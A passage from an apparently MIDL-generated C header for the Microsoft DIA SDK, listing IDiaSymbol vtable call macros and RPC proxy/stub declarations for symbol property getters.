(This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define IDiaSymbol_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_virtualBaseTableType_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ IDiaSymbol **pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_virtualBaseTableType_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hasManagedCode_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_hasManagedCode_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isHotpatchable_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isHotpatchable_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isCVTCIL_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isCVTCIL_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isMSILNetmodule_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isMSILNetmodule_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isCTypes_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isCTypes_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isStripped_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isStripped_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_frontEndQFE_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_frontEndQFE_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_backEndQFE_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_backEndQFE_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_wasInlined_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_wasInlined_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_strictGSCheck_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_strictGSCheck_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isCxxReturnUdt_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isCxxReturnUdt_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isConstructorVirtualBase_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isConstructorVirtualBase_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_RValueReference_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_RValueReference_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_unmodifiedType_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ IDiaSymbol **pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_unmodifiedType_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_framePointerPresent_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_framePointerPresent_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isSafeBuffers_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isSafeBuffers_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_intrinsic_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_intrinsic_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_sealed_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_sealed_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hfaFloat_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_hfaFloat_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_hfaDouble_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_hfaDouble_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeStartAddressSection_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_liveRangeStartAddressSection_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeStartAddressOffset_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_liveRangeStartAddressOffset_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeStartRelativeVirtualAddress_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_liveRangeStartRelativeVirtualAddress_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_countLiveRanges_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_countLiveRanges_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_liveRangeLength_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ ULONGLONG *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_liveRangeLength_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_offsetInUdt_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_offsetInUdt_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_paramBasePointerRegisterId_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_paramBasePointerRegisterId_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_localBasePointerRegisterId_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_localBasePointerRegisterId_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isLocationControlFlowDependent_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isLocationControlFlowDependent_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_stride_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_stride_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfRows_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_numberOfRows_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_numberOfColumns_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_numberOfColumns_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isMatrixRowMajor_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isMatrixRowMajor_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_get_numericProperties_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD cnt,\n    /* [out] */ DWORD *pcnt,\n    /* [size_is][out] */ DWORD *pProperties);\n\n\nvoid __RPC_STUB IDiaSymbol_get_numericProperties_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol_get_modifierValues_Proxy( \n    IDiaSymbol * This,\n    /* [in] */ DWORD cnt,\n    /* [out] */ DWORD *pcnt,\n    /* [size_is][out] */ WORD *pModifiers);\n\n\nvoid __RPC_STUB IDiaSymbol_get_modifierValues_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isReturnValue_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isReturnValue_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_isOptimizedAway_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ BOOL *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_isOptimizedAway_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_builtInKind_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_builtInKind_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_registerType_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_registerType_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseDataSlot_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_baseDataSlot_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_baseDataOffset_Proxy( \n    IDiaSymbol * This,\n    /* [retval][out] */ DWORD *pRetVal);\n\n\nvoid __RPC_STUB IDiaSymbol_get_baseDataOffset_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n/* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE IDiaSymbol_get_textureSlot_Proxy( \n    IDiaSymbol * This,\n    /* 